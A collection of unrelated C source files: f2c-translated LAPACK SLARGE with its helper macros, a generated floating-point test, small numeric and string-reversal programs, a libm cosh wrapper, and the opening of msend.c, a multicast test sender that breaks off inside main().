char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__3 = 3;
static integer c__1 = 1;
static real c_b8 = 1.f;
static real c_b10 = 0.f;
/* > \brief \b SLARGE */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* Definition: */
/* =========== */
/* SUBROUTINE SLARGE( N, A, LDA, ISEED, WORK, INFO ) */
/* INTEGER INFO, LDA, N */
/* INTEGER ISEED( 4 ) */
/* REAL A( LDA, * ), WORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > SLARGE pre- and post-multiplies a real general n by n matrix A */
/* > with a random orthogonal matrix: A = U*D*U'. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is REAL array, dimension (LDA,N) */
/* > On entry, the original n by n matrix A. */
/* > On exit, A is overwritten by U*A*U' for some random */
/* > orthogonal matrix U. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= N. */
/* > \endverbatim */
/* > */
/* > \param[in,out] ISEED */
/* > \verbatim */
/* > ISEED is INTEGER array, dimension (4) */
/* > On entry, the seed of the random number generator; the array */
/* > elements must be between 0 and 4095, and ISEED(4) must be */
/* > odd. */
/* > On exit, the seed is updated. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is REAL array, dimension (2*N) */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup real_matgen */
/* ===================================================================== */
/* Subroutine */ int slarge_(integer *n, real *a, integer *lda, integer *
iseed, real *work, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1;
real r__1;
/* Local variables */
extern /* Subroutine */ int sger_(integer *, integer *, real *, real *,
integer *, real *, integer *, real *, integer *);
extern real snrm2_(integer *, real *, integer *);
integer i__;
extern /* Subroutine */ int sscal_(integer *, real *, real *, integer *),
sgemv_(char *, integer *, integer *, real *, real *, integer *,
real *, integer *, real *, real *, integer *);
real wa, wb, wn;
extern /* Subroutine */ int xerbla_(char *, integer *), slarnv_(
integer *, integer *, integer *, real *);
real tau;
/* -- LAPACK auxiliary routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--iseed;
--work;
/* Function Body */
*info = 0;
if (*n < 0) {
*info = -1;
} else if (*lda < f2cmax(1,*n)) {
*info = -3;
}
if (*info < 0) {
i__1 = -(*info);
xerbla_("SLARGE", &i__1);
return 0;
}
/* pre- and post-multiply A by random orthogonal matrix */
for (i__ = *n; i__ >= 1; --i__) {
/* generate random reflection */
i__1 = *n - i__ + 1;
slarnv_(&c__3, &iseed[1], &i__1, &work[1]);
i__1 = *n - i__ + 1;
wn = snrm2_(&i__1, &work[1], &c__1);
wa = r_sign(&wn, &work[1]);
if (wn == 0.f) {
tau = 0.f;
} else {
wb = work[1] + wa;
i__1 = *n - i__;
r__1 = 1.f / wb;
sscal_(&i__1, &r__1, &work[2], &c__1);
work[1] = 1.f;
tau = wb / wa;
}
/* multiply A(i:n,1:n) by random reflection from the left */
i__1 = *n - i__ + 1;
sgemv_("Transpose", &i__1, n, &c_b8, &a[i__ + a_dim1], lda, &work[1],
&c__1, &c_b10, &work[*n + 1], &c__1);
i__1 = *n - i__ + 1;
r__1 = -tau;
sger_(&i__1, n, &r__1, &work[1], &c__1, &work[*n + 1], &c__1, &a[i__
+ a_dim1], lda);
/* multiply A(1:n,i:n) by random reflection from the right */
i__1 = *n - i__ + 1;
sgemv_("No transpose", n, &i__1, &c_b8, &a[i__ * a_dim1 + 1], lda, &
work[1], &c__1, &c_b10, &work[*n + 1], &c__1);
i__1 = *n - i__ + 1;
r__1 = -tau;
sger_(n, &i__1, &r__1, &work[*n + 1], &c__1, &work[1], &c__1, &a[i__ *
a_dim1 + 1], lda);
/* L10: */
}
return 0;
/* End of SLARGE */
} /* slarge_ */
|
the_stack_data/218894219.c
|
//quartz2963_6810/_tests/_group_10/_test_10.c
//-1.6254E306 5 5 5 -0.0 +0.0 +1.3405E270 -1.8104E-58 +1.3699E305 +1.2302E306 -1.9718E-234 +1.0503E249 -0.0 +1.1499E-311 -1.0402E305
//
/* This is a automatically generated test. Do not modify */
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
void compute(double comp, int var_1,int var_2,int var_3,double var_4,double var_5,double var_6,double var_7,double var_8,double* var_9,double var_10,double var_11,double var_12,double var_13,double var_14) {
for (int i=0; i < var_1; ++i) {
for (int i=0; i < var_2; ++i) {
if (comp <= (var_4 + var_5)) {
double tmp_1 = -0.0;
comp += tmp_1 - (var_6 + +1.5118E-306 / (var_7 * var_8 * +1.3403E-110));
for (int i=0; i < var_3; ++i) {
var_9[i] = var_10 + +1.2923E-320 + (+1.3621E-306 / (+1.9368E305 * +1.8563E-41 + var_11));
comp = (long double)var_9[i] + floorl(tanhl((long double)var_12 - -1.0049E-106 + (long double)var_13 * ((long double)var_14 + (-1.4190E-314 * -1.3332E-310))));
}
}
}
}
printf("%.17g\n", comp);
}
double* initPointer(double v) {
double *ret = (double*) malloc(sizeof(double)*10);
for(int i=0; i < 10; ++i)
ret[i] = v;
return ret;
}
int main(int argc, char** argv) {
/* Program variables */
double tmp_1 = atof(argv[1]);
int tmp_2 = atoi(argv[2]);
int tmp_3 = atoi(argv[3]);
int tmp_4 = atoi(argv[4]);
double tmp_5 = atof(argv[5]);
double tmp_6 = atof(argv[6]);
double tmp_7 = atof(argv[7]);
double tmp_8 = atof(argv[8]);
double tmp_9 = atof(argv[9]);
double* tmp_10 = initPointer( atof(argv[10]) );
double tmp_11 = atof(argv[11]);
double tmp_12 = atof(argv[12]);
double tmp_13 = atof(argv[13]);
double tmp_14 = atof(argv[14]);
double tmp_15 = atof(argv[15]);
compute(tmp_1,tmp_2,tmp_3,tmp_4,tmp_5,tmp_6,tmp_7,tmp_8,tmp_9,tmp_10,tmp_11,tmp_12,tmp_13,tmp_14,tmp_15);
return 0;
}
|
the_stack_data/161081281.c
|
float a[1000];
float b[1000][1000];
main(int argc, char *argv[]) {
int i, j, k;
long N;
float dist, dist1;
// for (i=0; i<100; i++) {
// a[i] = i;
// }
N = atoi(argv[0]);
N = 100;
#pragma scop
for (i = 0; i < N; i++) {
for (j = 0; j < N; j++) {
dist = 0.0;
dist1 = 0.0;
for (k = 0; k < N; k++) {
dist += a[10 * i + j] * a[10 * i + j];
dist1 += a[10 * i + j] + a[10 * i + j];
}
b[i][j] = dist;
b[i][j] += dist1;
}
}
#pragma endscop
return (int)round(b[0][50]);
}
|
the_stack_data/43887062.c
|
#include <stdio.h>
int main(){
int a[16500], T;
long long int i, j;
printf("Enter number of test cases : ");
scanf("%d", &T);
while(T--){
for(i=0; i<16500; i++){
a[i]=0;
}
a[1]=1;
int N, carry=0, count=0;
printf("Enter a number : ");
scanf("%d", &N);
for(i=1; i<=N; i++){
carry=0;
for(j=0; j<16500; j++){
a[j]=a[j]*i+carry;
carry=a[j]/10;
a[j]=a[j]%10;
}
}
for(i=0; i<16500; i++){
if(a[i]!=0){
count=i;
}
}
for(i=count; i>0; i--){
printf("%d", a[i]);
}
printf("\n");
}
return 0;
}
|
the_stack_data/156392741.c
|
#include <stdio.h>
void reverse_english(char name[]);
void reverse_hangul(char name[]);
int main(void)
{
char name[20];
unsigned char uc;
printf("\n입력 후 Enter: ");
scanf("%s", name);
uc = name[0];
if (uc <= 122) { /* same as ((uc & 0x80) == 0); ASCII char */
printf("reverse English: ");
reverse_english(name);
} else {
printf("한글 역순: ");
reverse_hangul(name);
}
printf("\n\n");
return 0;
}
/* reverse_english: print reversed string of English, read 1 byte */
void reverse_english(char name[])
{
if (*name != '\0') {
reverse_english(name + 1);
printf("%c", *name);
}
}
/* reverse_hangul: print reversed string of Korean, read 2 bytes */
void reverse_hangul(char name[])
{
if (*name != '\0') {
reverse_hangul(name + 2);
printf("%c%c", *name, *(name + 1));
}
}
|
the_stack_data/161080109.c
|
void __main ()
{
#ifndef __ELF__
static int initialized;
if (! initialized)
{
typedef void (*pfunc) ();
extern pfunc __ctors[];
extern pfunc __ctors_end[];
pfunc *p;
initialized = 1;
for (p = __ctors_end; p > __ctors; )
(*--p) ();
}
#endif
}
|
the_stack_data/74385.c
|
/*
* POK header
*
* The following file is a part of the POK project. Any modification should
* made according to the POK licence. You CANNOT use this file or a part of
* this file is this part of a file for your own project
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2009 POK team
*
* Created by julien on Fri Jan 30 14:41:34 2009
*/
/* @(#)w_cosh.c 5.1 93/09/24 */
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
#ifdef POK_NEEDS_LIBMATH
/*
* wrapper cosh(x)
*/
#include <libm.h>
#include "namespace.h"
#include "math_private.h"
#ifdef __weak_alias
__weak_alias(cosh, _cosh)
#endif
double cosh(double x) /* wrapper cosh */
{
#ifdef _IEEE_LIBM
return __ieee754_cosh(x);
#else
double z;
z = __ieee754_cosh(x);
if (_LIB_VERSION == _IEEE_ || isnan(x)) return z;
if (fabs(x) > 7.10475860073943863426e+02) {
return __kernel_standard(x, x, 5); /* cosh overflow */
} else
return z;
#endif
}
#endif
|
the_stack_data/225144480.c
|
/* msend.c */
/* Program to send multicast packets in flexible ways to test multicast
* networks.
* See https://community.informatica.com/solutions/1470 for more info.
*
* Authors: The fine folks at 29West/Informatica
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted without restriction.
*
THE SOFTWARE IS PROVIDED "AS IS" AND INFORMATICA DISCLAIMS ALL WARRANTIES
EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY IMPLIED WARRANTIES OF
NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR
PURPOSE. INFORMATICA DOES NOT WARRANT THAT USE OF THE SOFTWARE WILL BE
UNINTERRUPTED OR ERROR-FREE. INFORMATICA SHALL NOT, UNDER ANY CIRCUMSTANCES,
BE LIABLE TO LICENSEE FOR LOST PROFITS, CONSEQUENTIAL, INCIDENTAL, SPECIAL OR
INDIRECT DAMAGES ARISING OUT OF OR RELATED TO THIS AGREEMENT OR THE
TRANSACTIONS CONTEMPLATED HEREUNDER, EVEN IF INFORMATICA HAS BEEN APPRISED OF
THE LIKELIHOOD OF SUCH DAMAGES.
*/
#include <string.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
/* Many of the following definitions are intended to make it easier to write
* portable code between windows and unix. */
/* use our own form of getopt */
extern int toptind;
extern int toptreset;
extern char *toptarg;
int tgetopt(int nargc, char * const *nargv, const char *ostr);
#if defined(_MSC_VER)
// Windows-only includes
#include <windows.h>
#include <winsock2.h>
typedef unsigned long socklen_t;
#define SLEEP_SEC(s) Sleep((s) * 1000)
#define SLEEP_MSEC(s) Sleep(s)
#define ERRNO GetLastError()
#define CLOSESOCKET closesocket
#define TLONGLONG signed __int64
#else
// Unix-only includes
#define HAVE_PTHREAD_H
#include <signal.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <pthread.h>
#define SLEEP_SEC(s) sleep(s)
#define SLEEP_MSEC(s) usleep((s) * 1000)
#define CLOSESOCKET close
#define ERRNO errno
#define SOCKET int
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define TLONGLONG signed long long
#endif
#if defined(_WIN32)
# include <ws2tcpip.h>
# include <sys\types.h>
# include <sys\timeb.h>
# define perror(x) fprintf(stderr,"%s: %d\n",x,GetLastError())
#endif
/* program name (from argv[0] */
char *prog_name = "xxx";
/* program options (see main() for defaults) */
int o_burst_count;
int o_decimal;
int o_loops;
int o_msg_len;
int o_num_bursts;
int o_pause;
char *o_Payload = NULL;
int o_quiet; char *o_quiet_equiv_opt;
int o_stat_pause;
int o_Sndbuf_size;
int o_tcp;
int o_unicast_udp;
#define MIN_DEFAULT_SENDBUF_SIZE 65536
/* program positional parameters */
unsigned long groupaddr;
unsigned short groupport;
unsigned char ttlvar;
char *bind_if;
char usage_str[] = "[-1|2|3|4|5] [-b burst_count] [-d] [-h] [-l loops] [-m msg_len] [-n num_bursts] [-P payload] [-p pause] [-q] [-S Sndbuf_size] [-s stat_pause] [-t | -u] group port [ttl] [interface]";
void usage(char *msg)
{
if (msg != NULL)
fprintf(stderr, "\n%s\n\n", msg);
fprintf(stderr, "Usage: %s %s\n\n"
"(use -h for detailed help)\n",
prog_name, usage_str);
} /* usage */
void help(char *msg)
{
if (msg != NULL)
fprintf(stderr, "\n%s\n\n", msg);
fprintf(stderr, "Usage: %s %s\n", prog_name, usage_str);
fprintf(stderr, "Where:\n"
" -1 : pre-load opts for basic connectivity (1 short msg per sec for 10 min)\n"
" -2 : pre-load opts for long msg len (1 5k msg each sec for 5 seconds)\n"
" -3 : pre-load opts for moderate load (bursts of 100 8K msgs for 5 seconds)\n"
" -4 : pre-load opts for heavy load (1 burst of 5000 short msgs)\n"
" -5 : pre-load opts for VERY heavy load (1 burst of 50,000 800-byte msgs)\n"
" -b burst_count : number of messages per burst [1]\n"
" -d : decimal numbers in messages [hex])\n"
" -h : help\n"
" -l loops : number of times to loop test [1]\n"
" -m msg_len : length of each message (0=use length of sequence number) [0]\n"
" -n num_bursts : number of bursts to send (0=infinite) [0]\n"
" -P payload : hex digits for message content (implicit -m)\n"
" -p pause : pause (milliseconds) between bursts [1000]\n"
" -q : loop more quietly (can use '-qq' for complete silence)\n"
" -S Sndbuf_size : size (bytes) of UDP send buffer (SO_SNDBUF) [65536]\n"
" (use 0 for system default buff size)\n"
" -s stat_pause : pause (milliseconds) before sending stat msg (0=no stat) [0]\n"
" -t : tcp ('group' becomes destination IP) [multicast]\n"
" -u : unicast udp ('group' becomes destination IP) [multicast]\n"
"\n"
" group : multicast group or IP address to send to (required)\n"
" port : destination port (required)\n"
" ttl : time-to-live (limits transition through routers) [2]\n"
" interface : optional IP addr of local interface (for multi-homed hosts)\n"
);
} /* help */
int main(int argc, char **argv)
{
int opt;
int o_Sndbuf_set;
int num_parms;
int test_num;
char equiv_cmd[1024];
char *buff;
char cmdbuf[512];
SOCKET sock;
struct sockaddr_in sin;
struct timeval tv = {1,0};
unsigned int wttl;
int burst_num; /* number of bursts so far */
int msg_num; /* number of messages so far */
int send_len; /* size of datagram to send */
int sz, default_sndbuf_sz, check_size, i;
int send_rtn;
#if defined(_WIN32)
unsigned long int iface_in;
#else
struct in_addr iface_in;
#endif /* _WIN32 */
prog_name = argv[0];
buff = malloc(65536);
if (buff == NULL) { fprintf(stderr, "malloc failed\n"); exit(1); }
memset(buff, 0, 65536);
#if defined(_WIN32)
{
